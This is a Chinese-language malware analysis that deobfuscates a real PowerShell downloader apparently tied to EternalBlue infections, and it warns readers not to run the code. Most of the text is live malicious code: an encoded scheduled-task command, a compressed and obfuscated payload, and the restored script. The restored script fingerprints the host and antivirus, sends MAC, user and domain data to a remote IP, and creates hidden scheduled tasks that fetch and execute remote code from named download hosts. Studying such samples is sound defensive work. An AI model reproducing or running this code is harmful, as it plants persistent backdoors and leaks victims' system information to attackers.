注意:以下代码为真实永恒之蓝木马下载器恶意ps代码,请不要在真实机运行、测试以及调试!!!
下面代码取自该病毒设置的计划任务
powershell.exe -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAHcAbQA/AGgAZABwACcAKQA=
其中,IEX是Invoke-Expression命令的别名,这个命令的作用是把传递给它的参数,当作PS代码去执行。(可以理解为把传递给它的字符串当作PS代码执行,类似JS或PHP语言中的eval函数)
解密上面的Base64后,得到了一段很短的PS Downloader代码,如下面所示:
IEX (New-Object Net.WebClient).downloadstring('http://v.bddp.net/wm?hdp')
访问Downloader下载链接后,又得到一段压缩并使用Base64加密过后的PS代码,如下面所示:
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('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')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
上面代码,去掉Invoke-Expression,改为echo,我们可以直接打印出Base64解密→解压缩后的PS代码,打印出来的代码,下面所示:
& ( ([StRing]$veRbOSEpREFERENCE)[1,3]+'x'-JOIN'')( ((("{50}{52}{11}{63}{13}{15}{8}{64}{17}{3}{67}{69}{6}
{79}{60}{16}{49}{43}{68}{25}{33}{14}{56}{21}{76}{73}{78}{37}{9}{54}{2}{46}{19}{81}{85}{1}{48}{82}{66}{45}
{23}{28}{36}{55}{77}{61}{7}{41}{71}{5}{59}{39}{40}{75}{34}{29}{57}{72}{27}{10}{38}{58}{31}{26}{62}{53}{35
}{30}{84}{74}{51}{4}{70}{80}{20}{22}{32}{42}{18}{65}{44}{83}{47}{24}{0}{12}" -f 'op-Process -Force -p','8
s+(Get-WmiObject -Class Win32_OperatingSystem).version+u8s&bit=u8s+(Get-WmiObject Win32_OperatingSystem).
','pArdflag = pArflase
New-Object System.Threading.Mut','gu8','rt-Process -FilePath cmd.exe -ArgumentList u8spAronpsu8s
}else{}
}catch{}
try{
if([IntPtr]::Size -eq 8){
pArdglink = u8s/c powershell -nop -w','u8s8qKMic','0-00-00-00u8s
}else{}
[System.Thr','ArText)
pArbcode = [Convert]::ToBase64S','3Obj','g = pArflase
New-Object S','code.GetB','pAravs = u8su8s
[string]pArmac = (getmac /FO CSVyuESelect-Object -Skip 1 -first 1yuE ConvertFrom-Csv -Header MACyuEselect
-object -expand MAC)
pAravs = (Get-WmiObje','rocessname powershell
}else{}',' root8qKSecurityCenter2 -Class AntiVirusProduct).displayName
if(pAravs.GetType().name.Index','Aren','Of(gP','Principal.WindowsPrincipal][Security.Principal.WindowsIde
ntity]::GetCurrent()).IsInRole([Security.','
}else{
pArav = pAravs
}
try{
if((Get-Service zhudongfangyu yuE Sort -Property Status).Status -eq u8sRunnin','net/d32.dat?allv6u8s + p
Arkey + u8sgP3)u8s + gP3u8sgP3
}
if(pArdflag){
','mat gP3','else{
pArdgli','[string]pArflag = test-path pArpath
pArpath2 = u8spArenv:temp8qK8qKk','nk = u8s/c powershell -nop -w hidden -ep bypas','+ pArenv:USERNAME + u
8s&PS=u8s + pArpsflag
if(pArflag -eq gP3FalsegP3){','type file
St',' = u8','ershell -nop -ep bypass -e gP3 + pArbcode +gP3u8s /FgP3
&cmd.exe /c pArccc
}
}catch{}
}else{}
try{
pArdownload = gP3','::Uni','
New-Item pArpath -type file
try{','pAr','ownloadString(u8spArdownloadu8s)
}catch{}
try{
if(pArpsflag){
pAronps = u8s/c powershell -nop -w hidden -ep byp','u8s /tr u8spow','s -c u8s +','sp','s + pArdt + u8sgP
3)u8s
','mmand.Definition
IEX (New-Object Net.WebClient).D','
if(pArpermit){
pArstatus += gP3PHigyuEgP','P3
pArpsfla','ytes(pArText)
pArbcode = [Convert]::ToBase64String(pArBytes)
pArccc = gP3schtasks /query /tn u8sgP3 + pArmac','P3u8s /FgP3
&cmd.exe /c pArccc
}else{
pArstatus +','= gP3PLowyuEgP3
pArText','tring(pArBy',' gP3u8sgP3 + u8sIEX (New-Object Net.WebClient).downloadstring(gP3u8s + u8shttp
://down.bddp.','nist','
}else{}','ser=u8s ','ex (pArtrue,pArname2,[ref]pArdflag)
}catch{}
pArdt = Get-Date -For','rpath2 -','OSArch','Principal.WindowsBuiltInRole] u8sAdmi','[string]pArav = u8s',
'/down.bddp.net/newol.dat?allv6u8s + pArkey + u8sgP3)u8s + gP3u8sgP3
Sta','u8s
[string]','json?allv6gP3 + pArkey + u8s&u8s + pArstatus + u8s&u8s + pArMyInvocation.MyCo','ystem.Threadin
g.Mutex (pArtrue,pArname,[ref]pArpsflag)
}catch{}
try{
pArname2 = gP3Global8qKpowerdv5gP3
','3
pArText = u8sIEX (New-Object Net.WebClient).downloadstring(gP3http://v.y6h.net/g?hu8s + pArdt + u8sgP3
)u8s
pArBytes = [System.Text.Enco','v:temp8qK8qKkkk1.logu8s
','Bytes ',' + gP3u8s yuEyuE schtasks /create /sc MINUTE /mo 45 /st 07:00:00 /tn u8sgP3 + pArmac + gP3','
rosoft8qKwindows8qKgP3 + pArmac + gP3u8s /tr u8spowershell -nop -ep bypass -e gP3 + pArbcode +g','ermit =
([Security.','de.GetBytes(p','http://27.102.107.137/status.','ct -Namespace','ectgP3) -gt -1){
for(pArv = 0; pArv -lt pAravs.Count; pArv++){
pArav += pAravs[pArv] + u8syuEu8s
}
',' Start-Process -FilePath cmd.exe -ArgumentList u8spArdglinku8s
','et-WmiObject win32_computersystem).Domain + u8s&u','s){
pArav += gP3','ratoru8s)
pArstatus = gP3yuEgP3
pArpath','ZDFYgP3
}
}catch{}
if(-not (pArmac -match gP3^[8qKda-fA-F-]*pArgP3)){
[string]pArmac = u8s00-00-0',' hidden -ep bypass -c u8s + gP3u8sgP3 + u8sIEX (New-Object Net.WebClient)',
'tes)
pArccc = gP3schtasks /query /tn u8s8qKMicrosoft8qKwindows8qKgP3 + pArmac + gP3u8s yuEyuE schtasks /cre
ate /ru system /sc MINUTE /mo 45 /st 07:00:00 /tn ','= [System.Text.Encoding]','
[string]pArflag2 = test-path pArpath2
try{
pArname = gP3Glob','3u8sgP3 + u8sIEX (New-Object Net.WebClient).downloadstring(gP3u8s + u8shttp:/',' = u
8sIEX (New-Object Net.WebClient).downloadstring(gP3http://v.y6h.net/g?lu8','ill.logu8s
','ding]::Unico','al8qKpowerv5g','eading.Thread]::Sleep((Get-Random -Minimum 20000 -Maximum 400000))
pArp','.downloadstring(gP3u8s + u8shttp://down.bddp.net/d64.dat?allv6u8s + pArkey + u8sgP3)u8s + gP3u8sgP
3
}','yyMMddgP3
','itecture + u8s&flag2=u8s + pArflag + u8s&domain=u8s + (G','
}catch{}
[System.Threading.Thread]::Sleep(3000)
if(pArflag2 -eq gP3FalsegP3){
New-Item pA','ass -c u8s + gP','
pArkey = u8s&mac=u8s+pArmac+u8s&av=u8s+pArav+u8s&version=u'))-crEplaCE([cHaR]56+[cHaR]113+[cHaR]75),[cHaR
]92-crEplaCE 'u8s',[cHaR]34 -crEplaCE ([cHaR]112+[cHaR]65+[cHaR]114),[cHaR]36-crEplaCE 'gP3',[cHaR]39-R
ePlACE 'yuE',[cHaR]124) )
可以看到解压解密后,还有一层混淆,经过分析发现,这段混淆的PS代码原理是利用String中的-f(format)参数完成的。(类似Python中的"My nam is {0}".format(“wdy”))
经过format拼接几十个代码片段后,再经过creplace和replace搜索替换,最后传给开头的经过混淆的IEX命令
这段混淆的PS代码格式如下:
【IEX命令混淆部分】(【”{0}“ -f “代码片段”】【replace搜索替换】)
知道原理再还原就不难了。
这段混淆的代码中,前面几个字符,是混淆后的IEX命令,如下图所示:
由此可知,只要去掉前面的IEX命令混淆后的部分,直接使用echo命令,就可以还原出IEX命令真正要执行的PS代码
得知最终是用过IEX命令执行的最终解密后的PS代码,开始我打算通过Proxy Fcuntion功能来实现IEX命令的代理,然后直接打印出传入这个函数的参数。结果与我想象的却不相符。
最后找到了一个简单粗暴的方法,直接将这个IEX修改成echo命令的别名,这样它在执行IEX时,自动就打印出还原后的代码了。
在修改iex这个别名时,报错提示:这个别名是常量或只读的,意思是不能修改。
可以使用以下命令强制删除这个别名,再尝试设置iex ,命令如下:
del alias:iex -Force
然后设置iex为echo命令的别名,命令如下:
Set-Alias iex echo
最后执行最初的那条计划任务中的代码,只不过把它的第一层IEX,修改为Invoke-Expression,如下所示:
Invoke-Expression (New-Object Net.WebClient).downloadstring('http://v.bddp.net/wm?hdp')
最终得到还原后的代码,如下所示:
[string]$av = ""
[string]$avs = ""
[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object
-expand MAC)
$avs = (Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct).displayName
if($avs.GetType().name.IndexOf('Object') -gt -1){
for($v = 0; $v -lt $avs.Count; $v++){
$av += $avs[$v] + "|"
}
}else{
$av = $avs
}
try{
if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){
$av += 'ZDFY'
}
}catch{}
if(-not ($mac -match '^[\da-fA-F-]*$')){
[string]$mac = "00-00-00-00-00-00"
}else{}
[System.Threading.Thread]::Sleep((Get-Random -Minimum 20000 -Maximum 400000))
$permit = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsIn
Role([Security.Principal.WindowsBuiltInRole] "Administrator")
$status = '|'
$path = "$env:temp\\kkk1.log"
[string]$flag = test-path $path
$path2 = "$env:temp\\kill.log"
[string]$flag2 = test-path $path2
try{
$name = 'Global\powerv5'
$psflag = $flase
New-Object System.Threading.Mutex ($true,$name,[ref]$psflag)
}catch{}
try{
$name2 = 'Global\powerdv5'
$dflag = $flase
New-Object System.Threading.Mutex ($true,$name2,[ref]$dflag)
}catch{}
$dt = Get-Date -Format 'yyMMdd'
$key = "&mac="+$mac+"&av="+$av+"&version="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(
Get-WmiObject Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win
32_computersystem).Domain + "&user=" + $env:USERNAME + "&PS=" + $psflag
if($flag -eq 'False'){
New-Item $path -type file
try{
if($permit){
$status += 'PHig|'
$Text = "IEX (New-Object Net.WebClient).downloadstring('http://v.y6h.net/g?h" + $dt + "')"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$bcode = [Convert]::ToBase64String($Bytes)
$ccc = 'schtasks /query /tn "\Microsoft\windows\' + $mac + '" || schtasks /create /ru system /sc MINUT
E /mo 45 /st 07:00:00 /tn "\Microsoft\windows\' + $mac + '" /tr "powershell -nop -ep bypass -e ' + $bcode
+'" /F'
&cmd.exe /c $ccc
}else{
$status += 'PLow|'
$Text = "IEX (New-Object Net.WebClient).downloadstring('http://v.y6h.net/g?l" + $dt + "')"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$bcode = [Convert]::ToBase64String($Bytes)
$ccc = 'schtasks /query /tn "' + $mac + '" || schtasks /create /sc MINUTE /mo 45 /st 07:00:00 /tn "' +
$mac + '" /tr "powershell -nop -ep bypass -e ' + $bcode +'" /F'
&cmd.exe /c $ccc
}
}catch{}
}else{}
try{
$download = 'http://27.102.107.137/status.json?allv6' + $key + "&" + $status + "&" + $MyInvocation.MyCom
mand.Definition
IEX (New-Object Net.WebClient).DownloadString("$download")
}catch{}
try{
if($psflag){
$onps = "/c powershell -nop -w hidden -ep bypass -c " + '"' + "IEX (New-Object Net.WebClient).downloadst
ring('" + "http://down.bddp.net/newol.dat?allv6" + $key + "')" + '"'
Start-Process -FilePath cmd.exe -ArgumentList "$onps"
}else{}
}catch{}
try{
if([IntPtr]::Size -eq 8){
$dglink = "/c powershell -nop -w hidden -ep bypass -c " + '"' + "IEX (New-Object Net.WebClient).downloa
dstring('" + "http://down.bddp.net/d64.dat?allv6" + $key + "')" + '"'
}else{
$dglink = "/c powershell -nop -w hidden -ep bypass -c " + '"' + "IEX (New-Object Net.WebClient).downloa
dstring('" + "http://down.bddp.net/d32.dat?allv6" + $key + "')" + '"'
}
if($dflag){
Start-Process -FilePath cmd.exe -ArgumentList "$dglink"
}else{}
}catch{}
[System.Threading.Thread]::Sleep(3000)
if($flag2 -eq 'False'){
New-Item $path2 -type file
Stop-Process -Force -processname powershell
}else{}